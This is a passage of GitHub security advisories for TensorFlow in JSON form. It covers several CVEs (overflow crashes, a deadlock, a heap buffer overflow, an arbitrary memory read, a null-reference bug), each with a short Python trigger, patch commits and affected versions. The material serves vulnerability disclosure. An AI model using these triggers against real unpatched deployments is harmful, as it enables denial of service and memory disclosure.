TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46911).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:33:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2p25-55c9-h58q","https://nvd.nist.gov/vuln/detail/CVE-2021-41198","https://github.com/tensorflow/tensorflow/issues/46911","https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-608.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-806.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-391.yaml","https://github.com/advisories/GHSA-2p25-55c9-h58q"],"source_kind":"github","identifiers":["GHSA-2p25-55c9-h58q","CVE-2021-41198"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.268Z","updated_at":"2024-11-13T21:45:29.000Z","epss_percentage":0.00049,"epss_percentile":0.1505},{"uuid":"GSA_kwCzR0hTQS01aHgyLXF4OGotcWpxbc0XFA","url":"https://github.com/advisories/GHSA-5hx2-qx8j-qjqm","title":"Overflow/crash in `tf.image.resize` when size is large","description":"### Impact\nIf `tf.image.resize` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.keras.layers.UpSampling2D(\n  size=1610637938,\n  data_format='channels_first',\n  interpolation='bilinear')(np.ones((5,1,1,1)))\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [e5272d4204ff5b46136a1ef1204fc00597e21837](https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837) (merging [#51497](https://github.com/tensorflow/tensorflow/pull/51497)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46914).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:33:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5hx2-qx8j-qjqm","https://nvd.nist.gov/vuln/detail/CVE-2021-41199","https://github.com/tensorflow/tensorflow/issues/46914","https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-609.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-807.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-392.yaml","https://github.com/advisories/GHSA-5hx2-qx8j-qjqm"],"source_kind":"github","identifiers":["GHSA-5hx2-qx8j-qjqm","CVE-2021-41199"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.278Z","updated_at":"2024-11-07T22:09:52.000Z","epss_percentage":0.00049,"epss_percentile":0.1505},{"uuid":"GSA_kwCzR0hTQS14cnFtLWZwZ3ItNmhoeM0XEQ","url":"https://github.com/advisories/GHSA-xrqm-fpgr-6hhx","title":"Overflow/crash in `tf.range`","description":"### Impact\nWhile calculating the size of the output within the `tf.range` kernel, there is a conditional statement of type `int64 = condition ? int64 : double`. Due to C++ implicit conversion rules, both branches of the condition will be cast to `double` and the result would be truncated before the assignment. This result in overflows:\n\n```python\nimport tensorflow as tf\n\ntf.sparse.eye(num_rows=9223372036854775807, num_columns=None)\n```\n  \nSimilarly, `tf.range` would result in crashes due to overflows if the start or end point are too large.\n\n```python\nimport tensorflow as tf\n\ntf.range(start=-1e+38, limit=1)\n```\n\n### Patches\nWe have patched the issue in GitHub commits [6d94002a09711d297dbba90390d5482b76113899](https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899) (merging [#51359](https://github.com/tensorflow/tensorflow/pull/51359)) and [1b0e0ec27e7895b9985076eab32445026ae5ca94](https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94) (merging [#51711](https://github.com/tensorflow/tensorflow/pull/51711)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46912), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46899) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46889).\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:13:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xrqm-fpgr-6hhx","https://nvd.nist.gov/vuln/detail/CVE-2021-41202","https://github.com/tensorflow/tensorflow/issues/46889","https://github.com/tensorflow/tensorflow/issues/46912","https://github.com/tensorflow/tensorflow/commit/1b0e0ec27e7895b9985076eab32445026ae5ca94","https://github.com/tensorflow/tensorflow/commit/6d94002a09711d297dbba90390d5482b76113899","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-612.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-810.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-395.yaml","https://github.com/advisories/GHSA-xrqm-fpgr-6hhx"],"source_kind":"github","identifiers":["GHSA-xrqm-fpgr-6hhx","CVE-2021-41202"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.308Z","updated_at":"2024-11-13T21:48:30.000Z","epss_percentage":0.00037,"epss_percentile":0.09491},{"uuid":"GSA_kwCzR0hTQS14NHF4LTRmanYtaG13Ns0oeA","url":"https://github.com/advisories/GHSA-x4qx-4fjv-hmw6","title":"Integer overflow leading to crash in Tensorflow","description":"### Impact \nThe [implementation of `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n    \ntf.raw_ops.SparseCountSparseOutput(\n  indices=[[1,1]],\n  values=[2],\n  dense_shape=[2 ** 31, 2 ** 32],\n  weights=[1],\n  binary_output=True,\n  minlength=-1,\n  maxlength=-1,\n  name=None)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [6f4d3e8139ec724dbbcb40505891c81dd1052c4a](https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:45:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6","https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273","https://nvd.nist.gov/vuln/detail/CVE-2022-21738","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-62.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-117.yaml","https://github.com/advisories/GHSA-x4qx-4fjv-hmw6"],"source_kind":"github","identifiers":["GHSA-x4qx-4fjv-hmw6","CVE-2022-21738"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.068Z","updated_at":"2024-11-13T22:33:01.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS03ODZqLTVxd3EtcjM2eM0XDw","url":"https://github.com/advisories/GHSA-786j-5qwq-r36x","title":"Segfault while copying constant resource tensor","description":"### Impact\nDuring TensorFlow's Grappler optimizer phase, constant folding might attempt to deep copy a resource tensor. This results in a segfault, as these tensors are supposed to not change.\n\n### Patches\nWe have patched the issue in GitHub commit [7731e8dfbe4a56773be5dc94d631611211156659](https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T19:12:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-786j-5qwq-r36x","https://nvd.nist.gov/vuln/detail/CVE-2021-41204","https://github.com/tensorflow/tensorflow/commit/7731e8dfbe4a56773be5dc94d631611211156659","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-614.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-812.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-397.yaml","https://github.com/advisories/GHSA-786j-5qwq-r36x"],"source_kind":"github","identifiers":["GHSA-786j-5qwq-r36x","CVE-2021-41204"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.330Z","updated_at":"2024-11-13T21:53:24.000Z","epss_percentage":0.00017,"epss_percentile":0.02794},{"uuid":"GSA_kwCzR0hTQS1oNjdtLXhnOGYtZnhjZs0XBg","url":"https://github.com/advisories/GHSA-h67m-xg8f-fxcf","title":"Deadlock in mutually recursive `tf.function` objects","description":"### Impact\nThe [code behind `tf.function` API](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/python/eager/def_function.py#L542) can be made to deadlock when two `tf.function` decorated Python functions are mutually recursive:\n\n```python \nimport tensorflow as tf\n\n@tf.function()               \ndef fun1(num):\n    if num == 1:\n        return\n    print(num)\n    fun2(num-1)\n\n@tf.function()\ndef fun2(num):\n    if num == 0:\n        return\n    print(num)\n    fun1(num-1)\n\nfun1(9)\n```\n\nThis occurs due to using a non-reentrant `Lock` Python object.\n\nLoading any model which contains mutually recursive functions is vulnerable. An attacker can cause denial of service by causing users to load such models and calling a recursive `tf.function`, although this is not a frequent scenario.\n\n### Patches\nWe have patched the issue in GitHub commit [afac8158d43691661ad083f6dd9e56f327c1dcb7](https://github.com/tensorflow/tensorflow/commit/afac8158d43691661ad083f6dd9e56f327c1dcb7).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:59:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h67m-xg8f-fxcf","https://nvd.nist.gov/vuln/detail/CVE-2021-41213","https://github.com/tensorflow/tensorflow/commit/afac8158d43691661ad083f6dd9e56f327c1dcb7","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-622.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-820.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-405.yaml","https://github.com/advisories/GHSA-h67m-xg8f-fxcf"],"source_kind":"github","identifiers":["GHSA-h67m-xg8f-fxcf","CVE-2021-41213"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.429Z","updated_at":"2024-11-07T22:17:52.000Z","epss_percentage":0.0008,"epss_percentile":0.24489},{"uuid":"GSA_kwCzR0hTQS1jcXY2LTNwaG0taGN3eM0W_g","url":"https://github.com/advisories/GHSA-cqv6-3phm-hcwx","title":"Access to invalid memory during shape inference in `Cudnn*` ops","description":"### Impact\nThe [shape inference code](https://github.com/tensorflow/tensorflow/blob/9ff27787893f76d6971dcd1552eb5270d254f31b/tensorflow/core/ops/cudnn_rnn_ops.cc) for the `Cudnn*` operations in TensorFlow can be tricked into accessing invalid memory, via a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.CudnnRNNV3(\n    input=[0.1, 0.1],\n    input_h=[0.5],\n    input_c=[0.1, 0.1, 0.1], \n    params=[0.5, 0.5],\n    sequence_lengths=[-1, 0, 1])\n  \nfunc() \n```\n  \nThis occurs because the ranks of the `input`, `input_h` and `input_c` parameters are not validated, but code assumes they have certain values:\n\n```cc\nauto input_shape = c-\u003einput(0);\nauto input_h_shape = c-\u003einput(1);\nauto seq_length = c-\u003eDim(input_shape, 0);\nauto batch_size = c-\u003eDim(input_shape, 1);  // assumes rank \u003e= 2\nauto num_units = c-\u003eDim(input_h_shape, 2); // assumes rank \u003e= 3\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [af5fcebb37c8b5d71c237f4e59c6477015c78ce6](https://github.com/tensorflow/tensorflow/commit/af5fcebb37c8b5d71c237f4e59c6477015c78ce6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-11-10T18:50:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cqv6-3phm-hcwx","https://nvd.nist.gov/vuln/detail/CVE-2021-41221","https://github.com/tensorflow/tensorflow/commit/af5fcebb37c8b5d71c237f4e59c6477015c78ce6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-630.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-828.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-413.yaml","https://github.com/advisories/GHSA-cqv6-3phm-hcwx"],"source_kind":"github","identifiers":["GHSA-cqv6-3phm-hcwx","CVE-2021-41221"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.518Z","updated_at":"2024-11-07T22:10:38.000Z","epss_percentage":0.0002,"epss_percentile":0.03795},{"uuid":"GSA_kwCzR0hTQS1qOGM4LTY3dnAtNm14N80W-A","url":"https://github.com/advisories/GHSA-j8c8-67vp-6mx7","title":"Arbitrary memory read in `ImmutableConst`","description":"### Impact\nThe `ImmutableConst` operation in TensorFlow can be tricked into reading arbitrary memory contents:\n\n```python\nimport tensorflow as tf\n  \nwith open('/tmp/test','wb') as f:\n    f.write(b'\\xe2'*128)\n    data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')\n  \nprint(data)\n```\n  \nThis is because the `tstring` TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.\n\n### Patches\nWe have patched the issue in GitHub commit [3712a2d3455e6ccb924daa5724a3652a86f6b585](https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585) and GitHub commit [1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b](https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b).\n  \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:34:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j8c8-67vp-6mx7","https://nvd.nist.gov/vuln/detail/CVE-2021-41227","https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b","https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-636.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-834.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-419.yaml","https://github.com/advisories/GHSA-j8c8-67vp-6mx7"],"source_kind":"github","identifiers":["GHSA-j8c8-67vp-6mx7","CVE-2021-41227"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.578Z","updated_at":"2024-11-13T22:06:07.000Z","epss_percentage":0.00082,"epss_percentile":0.25042},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZwNXItZzltcS1nZ2gy","url":"https://github.com/advisories/GHSA-6p5r-g9mq-ggh2","title":"Reference binding to nullptr in `MatrixSetDiagV*` ops","description":"### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixSetDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixSetDiagV3(\n  input=[1,2,3],\n  diagonal=[1,1],\n  k=[],\n  align='RIGHT_LEFT')\n```\n  \nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong: \n\n```cc \n  auto\u0026 diag_index = context-\u003einput(1);\n  ...\n  lower_diag_index = diag_index.flat\u003cint32\u003e()(0);\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [ff8894044dfae5568ecbf2ed514c1a37dc394f1b](https://github.com/tensorflow/tensorflow/commit/ff8894044dfae5568ecbf2ed514c1a37dc394f1b).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 